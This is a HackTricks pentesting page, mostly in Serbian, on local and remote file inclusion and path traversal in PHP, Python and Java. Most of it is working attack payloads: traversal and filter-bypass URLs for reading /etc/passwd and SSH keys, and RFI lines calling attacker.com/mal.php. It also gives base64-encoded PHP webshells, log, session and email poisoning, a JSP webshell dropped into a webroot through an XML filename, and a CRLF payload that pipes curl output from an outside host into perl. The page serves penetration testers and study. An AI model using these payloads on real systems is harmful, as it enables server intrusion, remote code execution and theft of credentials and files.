File Inclusion/Path traversal

Reading time: 27 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

File Inclusion

Remote File Inclusion (RFI): Fajl se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php ovo je onemogućeno po defaultu (allow_url_include).
Local File Inclusion (LFI): Server učitava lokalni fajl.

Ranivost se javlja kada korisnik na neki način može kontrolisati koji fajl će server učitati.

Ranljive PHP functions: require, require_once, include, include_once

Zanimljiv alat za iskorišćavanje ove ranjivosti: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Kombinovanjem više *nix LFI lista i dodavanjem dodatnih putanja napravio sam ovu:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Pokušajte takođe da zamenite / sa \
Pokušajte takođe da dodate ../../../../../

Lista koja koristi više tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći here

Windows

Spajanje različitih wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Pokušajte takođe da zamenite / sa \
Pokušajte takođe da uklonite C:/ i dodate ../../../../../

Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći here

OS X

Proverite LFI listu za linux.

Osnovni LFI i bypasses

Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File Inclusion takođe (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences uklonjene ne-rekurzivno

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ово је решено од PHP 5.4

Енкодирање

Можете користити нестандардне енкодирања као што су double URL encode (и друге):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Iz postojeće fascikle

Možda back-end proverava putanju foldera:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Istraživanje file system direktorijuma na serveru

File system na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces podrazumeva određivanje dubine direktorijuma i testiranje postojanja specifičnih foldera. Ispod je detaljna metoda kako to postići:

  1. Odredite dubinu direktorijuma: Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti /etc/passwd fajl (primenljivo ako je server baziran na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu tri:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Dodajte ime sumnjivog foldera (npr. private) u URL, a zatim se vratite na /etc/passwd. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Tumačenje rezultata: Serverov odgovor ukazuje da li direktorijum postoji:
  • Greška / Nema izlaza: Direktorijum private verovatno ne postoji na navedenoj lokaciji.
  • Sadržaj /etc/passwd: Prisutnost direktorijuma private je potvrđena.
  1. Rekurzivno istraživanje: Otkriveni direktorijumi mogu se dalje ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.

Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li /var/www/ sadrži direktorijum private (pretpostavljajući da se trenutni direktorijum nalazi na dubini od 3), koristite:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation je metoda koja se koristi za manipulaciju file path-ovima u web aplikacijama. Često se koristi za pristup ograničenim fajlovima tako što zaobilazi određene bezbednosne mere koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je bezbednosna mera izmeni, i dalje pokazuje na željeni fajl.

U PHP-u, različite reprezentacije file path-a mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:

  • /etc/passwd, /etc//passwd, /etc/./passwd, i /etc/passwd/ se tretiraju kao ista putanja.
  • Kada poslednjih 6 karaktera glasi passwd, dodavanje / (čineći ga passwd/) ne menja ciljani fajl.
  • Slično, ako je .php dodat na file path (npr. shellcode.php), dodavanje /. na kraju neće izmeniti fajl kojem se pristupa.

Priloženi primeri pokazuju kako iskoristiti path truncation da se pristupi /etc/passwd, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj varira u zavisnosti od konfiguracije servera.

  • Korišćenje dot segmenata i dodatnih karaktera: Sekvence traversal-a (../) kombinovane sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajlsistemom, efektivno ignorišući dodatne stringove koje server prikači.
  • Određivanje potrebnog broja traversala: Metodom pokušaja i grešaka može se pronaći tačan broj ../ sekvenci potrebnih da se dođe do root direktorijuma i zatim do /etc/passwd, pri čemu se osigurava da su svi prikačeni stringovi (kao .php) neutralisani, ali željeni put (/etc/passwd) ostaje netaknut.
  • Početak sa lažnim direktorijumom: Uobičajeno je početi putanju sa nepostojećim direktorijumom (npr. a/). Ova tehnika se koristi kao mera predostrožnosti ili da zadovolji zahteve serverove logike parsiranja putanja.

Primenom tehnika skraćivanja putanja važno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajlsistema. Svaki scenario može zahtevati drugačiji pristup, pa je često neophodno testiranje da bi se našla najefikasnija metoda.

Ova ranjivost je ispravljena u PHP 5.3.

Trikovi zaobilaženja filtera

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

U php-u je ovo po defaultu onemogućeno jer je allow_url_include Off. Mora biti On da bi radilo, i u tom slučaju možete include PHP file sa vašeg servera i dobiti RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Ako iz nekog razloga allow_url_include je On, ali PHP je filtering pristup eksternim web stranicama, according to this post, možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

U prethodnom kodu, finalni +.txt je dodat zato što je napadaču bio potreban string koji se završava sa .txt, pa se string završava tim sufiksom i nakon b64 decode taj deo će biti samo besmislica, dok će pravi PHP kod biti uključen (i shodno tome izvršen).

Još jedan primer koji ne koristi php:// protocol bi bio:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python korenski element

U Pythonu, u kodu poput ovog:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Ako korisnik prosledi apsolutnu putanju u file_name, prethodna putanja se jednostavno uklanja:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Ovo je predviđeno ponašanje prema the docs:

Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.

Java: listanje direktorijuma

Izgleda da, ako imate Path Traversal u Java i zatražite direktorijum umesto fajla, vraća se lista sadržaja direktorijuma. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima (afaik).

Top 25 parameters

Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI korišćenjem PHP wrappera i protokola

php://filter

PHP filters omogućavaju izvođenje osnovnih operacija modifikacije nad podacima pre nego što se oni pročitaju ili zapisuju. Postoji 5 kategorija filtera:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Uklanja tagove iz podataka (sve između znakova "<" i ">")
  • Napomena: ovaj filter je uklonjen u modernim verzijama PHP-a
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transformiše u drugo kodiranje (convert.iconv.<input_enc>.<output_enc>). Da biste dobili spisak svih podržanih kodiranja pokrenite u konzoli: iconv -l

warning

Zlouporabom convert.iconv.* konverzionog filtera možete generisati proizvoljan tekst, što može biti korisno za upis proizvoljnog teksta ili da naterate funkciju poput include da procesuira proizvoljan tekst. Za više informacija pogledajte LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Kompresuje sadržaj (korisno ako eksfiltrirate mnogo informacija)
  • zlib.inflate: Dekompresuje podatke
  • Encryption Filters
  • mcrypt.* : Zastarjelo
  • mdecrypt.* : Zastarjelo
  • Ostali filteri
  • Pokretanjem u php var_dump(stream_get_filters()); možete pronaći nekoliko neočekivanih filtera:
  • consumed
  • dechunk: poništava HTTP chunked enkodiranje
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

Deo "php://filter" nije osetljiv na velika i mala slova

Korišćenje php filters kao oracle za čitanje proizvoljnih fajlova

In this post predložen je metod za čitanje lokalnog fajla bez vraćanja output-a sa servera. Ovaj metod se zasniva na boolean exfiltration of the file (char by char) using php filters kao oracle. Razlog je što php filters mogu da se iskoriste da uvećaju tekst dovoljno da php baci izuzetak.

U originalnom postu možete naći detaljno objašnjenje tehnike, ali evo kratkog rezimea:

  • Koristite codec UCS-4LE da ostavite vodeći karakter teksta na početku i da veličina stringa raste eksponencijalno.
  • Ovo će se koristiti da se generiše tekst koji je toliko veliki kada je početno slovo tačno pogođeno da će php pokrenuti error.
  • Filter dechunk će ukloniti sve ako prvi karakter nije hexadecimal, pa možemo znati da li je prvi karakter hex.
  • Ovo, u kombinaciji sa prethodnim (i drugim filterima zavisno od pogođenog slova), će nam omogućiti da pogodimo slovo na početku teksta tako što ćemo pratiti kada uradimo dovoljan broj transformacija da ono prestane biti hexadecimal karakter. Jer ako je hex, dechunk ga neće obrisati i početna bomba će izazvati php error.
  • Codec convert.iconv.UNICODE.CP930 transformiše svako slovo u sledeće (npr. nakon ovog codec-a: a -> b). Ovo nam omogućava da otkrijemo da li je početno slovo, na primer, a jer ako primenimo 6 puta ovaj codec a->b->c->d->e->f->g, slovo više nije hexadecimal karakter, zato ga dechunk ne obriše i php error se pokreće jer se množi sa početnom bombom.
  • Korišćenjem drugih transformacija kao što je rot13 na početku moguće je leak drugih karaktera kao n, o, p, q, r (i drugi codec-i mogu da se koriste da pomere druga slova u hex opseg).
  • Kada je početni karakter broj, potrebno je base64 enkodovati i leak prva 2 slova da leak broj.
  • Konačni problem je kako leak više od početnog slova. Korišćenjem order memory filtera kao convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE moguće je promeniti redosled karaktera i dovesti u prvu poziciju druga slova iz teksta.
  • I da bi se dobili dalji podaci, ideja je da se generišu 2 bajta junk podataka na početku sa convert.iconv.UTF16.UTF16, primeni UCS-4LE da se pivotira sa naredna 2 bajta, i delete the data until the junk data (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite ovo dok ne dođete do željenog bita za leak.

U postu je takođe predstavljen alat za automatsko izvođenje: php_filters_chain_oracle_exploit.

php://fd

Ovaj wrapper omogućava pristup file descriptor-ima koje proces ima otvorene. Potencijalno koristan za izvlačenje sadržaja otvorenih fajlova:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Takođe možete koristiti php://stdin, php://stdout and php://stderr da pristupite file descriptors 0, 1 and 2 respektivno (nisam siguran kako bi ovo moglo biti korisno u napadu)

zip:// and rar://

Otpremite Zip ili Rar fajl sa PHPShell unutar i pristupite mu.
Da biste mogli zloupotrebiti rar protocol, on mora biti posebno aktiviran.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Imajte na umu da je ovaj protokol ograničen php konfiguracijama allow_url_open i allow_url_include

expect://

Expect mora biti aktiviran. Možete izvršavati kod koristeći ovo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Navedite svoj payload u POST parametrima:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Datoteka .phar može se iskoristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije poput include za učitavanje fajlova. Sledeći PHP primer prikazuje kreiranje .phar datoteke:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Da biste kompajlirali .phar fajl, izvršite sledeću komandu:

bash
php --define phar.readonly=0 create_path.php

Po izvršenju biće kreiran fajl nazvan test.phar, koji bi potencijalno mogao biti iskorišćen za eksploataciju Local File Inclusion (LFI) ranjivosti.

U slučajevima kada LFI samo čita fajl bez izvršavanja PHP koda unutar njega — preko funkcija kao što su file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ili filesize() — može se pokušati eksploatisanje deserialization vulnerability. Ova ranjivost je povezana sa čitanjem fajlova korišćenjem phar protokola.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Bilo je moguće zloupotrebiti any arbitrary file read from PHP that supports php filters da bi se dobio RCE. Detaljan opis može biti found in this post.
Veoma kratak rezime: a 3 byte overflow u PHP heap-u je iskorišćen da bi se alter the chain of free chunks određene veličine kako bi bilo moguće write anything in any address, pa je dodat hook koji poziva system.
Bilo je moguće alocirati chunk-ove specifičnih veličina zloupotrebom više php filters.

Više protokola

Pogledajte više mogućih protocols to include here:

  • php://memory and php://temp — Upis u memoriju ili u privremeni fajl (nije sigurno kako ovo može biti korisno u file inclusion attack)
  • file:// — Pristup lokalnom fajl sistemu
  • http:// — Pristup HTTP(s) URL-ovima
  • ftp:// — Pristup FTP(s) URL-ovima
  • zlib:// — Kompresioni tokovi
  • glob:// — Pronalazi putanje koje odgovaraju obrascu (Ne vraća ništa čitljivo, tako da nije baš korisno ovde)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio tokovi (Nije korisno za čitanje proizvoljnih fajlova)

LFI preko PHP-ove 'assert'

Rizici od Local File Inclusion (LFI) u PHP-u su naročito visoki kada se radi sa funkcijom 'assert', koja može izvršavati kod unutar stringova. Ovo je posebno problematično ako se ulaz koji sadrži karaktere za directory traversal kao što su ".." proverava, ali nije pravilno sanitizovan.

Na primer, PHP kod može biti dizajniran da spreči directory traversal na sledeći način:

bash
assert("strpos('$file', '..') === false") or die("");

Iako je ovo namenjeno da zaustavi traversal, to nenamerno stvara vektor za code injection. Da bi iskoristio ovo za čitanje sadržaja datoteke, napadač bi mogao da koristi:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Slično tome, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:

plaintext
' and die(system("id")) or '

Važno je URL-encode these payloads.

PHP Blind Path Traversal

warning

Ova tehnika je relevantna u slučajevima kada vi kontrolišete file path neke PHP function koja će access a file, ali nećete videti sadržaj fajla (npr. jednostavan poziv file()), odnosno sadržaj nije prikazan.

U this incredible post je objašnjeno kako se blind path traversal može zloupotrebiti putem PHP filtera da bi se exfiltrate the content of a file via an error oracle.

Ukratko, tehnika koristi "UCS-4LE" encoding da bi sadržaj fajla bio toliko velik da će PHP funkcija koja otvara fajl izazvati error.

Zatim, da bi se leakovao prvi karakter koristi se filter dechunk zajedno sa drugim kao što su base64 ili rot13, i na kraju se koriste filteri convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE da bi se postavili drugi karakteri na početak i leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Kada server-side kod koji prihvata/uploaduje fajlove gradi destinacionu putanju koristeći korisnički kontrolisane podatke (npr. filename ili URL) bez canonicalising i validacije, .. segmenti i absolute paths mogu pobjeći iz predviđenog direktorijuma i izazvati arbitrary file write. Ako možete postaviti payload ispod web-exposed directory, obično dobijate unauthenticated RCE tako što postavite webshell.

Typical exploitation workflow:

  • Identify a write primitive u nekom endpointu ili background workeru koji prihvata path/filename i upisuje sadržaj na disk (npr. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path koji izlazi iz predviđenog storage direktorijuma u webroot, i uključite sadržaj vašeg webshell-a.
  • Browse to the dropped payload i izvršite komande.

Notes:

  • Usluga koja vrši zapisivanje može slušati na non-HTTP portu (npr. JMF XML listener on TCP 4004). Glavni web portal (na drugom portu) će kasnije servirati vaš payload.
  • Na Java stack-ovima, ova zapisivanja fajlova se često implementiraju prostom File/Paths konkatenacijom. Nedostatak canonicalisation/allow-listing je osnovni flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Ojačavanje koje onemogućava ovu klasu ranjivosti:

  • Rešavajte putanju do kanoničkog oblika i osigurajte da je potomak osnovnog direktorijuma sa liste dozvoljenih.
  • Odbacite svaku putanju koja sadrži .., apsolutne root putanje ili slova drajva; radije koristite generisane nazive fajlova.
  • Pokrenite proces pisanja kao nalog sa malim privilegijama i odvojite direktorijume za pisanje od direktorijuma koji se serviraju.

Remote File Inclusion

Objašnjeno ranije, follow this link.

Preko Apache/Nginx log fajla

Ako je Apache ili Nginx server vulnerable to LFI unutar include funkcije, možete pokušati pristupiti /var/log/apache2/access.log or /var/log/nginx/access.log, ubaciti u user agent ili u GET parameter php shell kao <?php system($_GET['c']); ?> i uključiti taj fajl

warning

Imajte u vidu da ako koristite dvostruke navodnike za shell umesto jednostrukih navodnika, dvostruki navodnici će biti promenjeni u string "quote;", PHP će baciti grešku i ništa drugo neće biti izvršeno.

Takođe, uverite se da ste ispravno napisali payload ili će PHP prijavljivati grešku svaki put kada pokuša da učita log fajl i nećete imati drugu priliku.

Ovo se može uraditi i u drugim logovima ali budite oprezni, kod unutar logova može biti URL encoded i to može uništiti Shell. Header authorisation "basic" sadrži "user:password" u Base64 i dekodira se unutar logova. PHPShell se može ubaciti unutar ovog headera.
Ostale moguće lokacije log fajlova:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Putem Email-a

Pošaljite mejl na interni nalog (user@localhost) koji sadrži vaš PHP payload poput <?php echo system($_REQUEST["cmd"]); ?> i pokušajte da uključite mejl korisnika sa putanjom kao /var/mail/<USERNAME> ili /var/spool/mail/<USERNAME>

Putem /proc//fd/

  1. Otpremite veliki broj shells (na primer: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, sa $PID = PID procesa (može se brute forced) i $FD = file descriptor (može se brute forced takođe)

Putem /proc/self/environ

Kao kod log fajla, pošaljite payload u User-Agent, biće reflektovano unutar fajla /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Putem otpremanja

Ako možete otpremiti fajl, samo ubacite shell payload u njega (npr: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Da bi fajl ostao čitljiv, najbolje je ubaciti u metapodatke slika/doc/pdf

Putem Zip file upload

Otpremite ZIP fajl koji sadrži kompresovani PHP shell i pristupite:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Putem PHP sessions

Proverite da li sajt koristi PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

U PHP ove sesije se čuvaju u /var/lib/php5/sess\[PHPSESSID]_ fajlovima

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Postavi cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Iskoristite LFI da uključite PHP sesijsku datoteku

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Preko ssh

Ako je ssh aktivan, proveri koji korisnik se koristi (/proc/self/status & /etc/passwd) i probaj da pristupiš <HOME>/.ssh/id_rsa

Preko vsftpd logova

Logovi za FTP server vsftpd se nalaze na /var/log/vsftpd.log. U scenariju gde postoji Local File Inclusion (LFI) ranjivost i gde je pristup izloženom vsftpd serveru moguć, mogu se razmotriti sledeći koraci:

  1. Ubaci PHP payload u polje za korisničko ime tokom procesa prijave.
  2. Nakon injekcije, iskoristi LFI da preuzmeš server logove sa /var/log/vsftpd.log.

Preko php base64 filter (korišćenjem base64)

Kao što je prikazano u this članku, PHP base64 filter jednostavno ignoriše Non-base64. To možeš iskoristiti da zaobiđeš proveru ekstenzije fajla: ako dostaviš base64 koji se završava sa ".php", filter će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Putem php filters (nije potreban fajl)

This writeup objašnjava da možete koristiti php filters to generate arbitrary content kao izlaz. Što u suštini znači da možete generate arbitrary php code za include without needing to write u fajl.

LFI2RCE via PHP Filters

Putem segmentation fault

Upload fajl koji će biti sačuvan kao temporary u /tmp, zatim u istom requestu izazovite segmentation fault, i onda temporary file won't be deleted pa ga možete potražiti.

LFI2RCE via Segmentation Fault

Putem Nginx temp file storage

Ako ste pronašli Local File Inclusion i Nginx radi ispred PHP-a, možda možete dobiti RCE koristeći sledeću tehniku:

LFI2RCE via Nginx temp files

Putem PHP_SESSION_UPLOAD_PROGRESS

Ako ste pronašli Local File Inclusion čak i ako don't have a session i session.auto_start je Off. Ako pošaljete PHP_SESSION_UPLOAD_PROGRESS u multipart POST podacima, PHP će enable the session for you. Ovo možete zloupotrebiti da dobijete RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Putem temp file uploads u Windows

Ako ste pronašli Local File Inclusion i server radi na Windows, možda možete dobiti RCE:

LFI2RCE Via temp file uploads

Putem pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Sledeće zloupotrebljava CRLF vuln za dobijanje RCE (iz here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Putem phpinfo() (file_uploads = on)

Ako pronađete Local File Inclusion i fajl koji izlaže phpinfo() sa file_uploads = on, možete dobiti RCE:

LFI2RCE via phpinfo()

Putem compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Ako pronađete Local File Inclusion i možete eksfiltrirati putanju privremenog fajla ALI server proverava da li fajl koji će biti uključen ima PHP oznake, možete pokušati da zaobiđete tu proveru ovom Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Putem eternal waiting + bruteforce

Ako možete iskoristiti LFI da uploadujete privremene fajlove i naterate server da PHP izvršavanje zaglavi, onda možete satima bruteforce-ovati imena fajlova da biste pronašli privremeni fajl:

LFI2RCE via Eternal waiting

Do Fatal Error

Ako uključite bilo koji od fajlova /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Potrebno je uključiti isti fajl 2 puta da biste izazvali tu grešku).

Ne znam koliko je ovo korisno, ali može biti.
Čak i ako izazovete PHP Fatal Error, PHP privremeni fajlovi koji su uploadovani se brišu.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks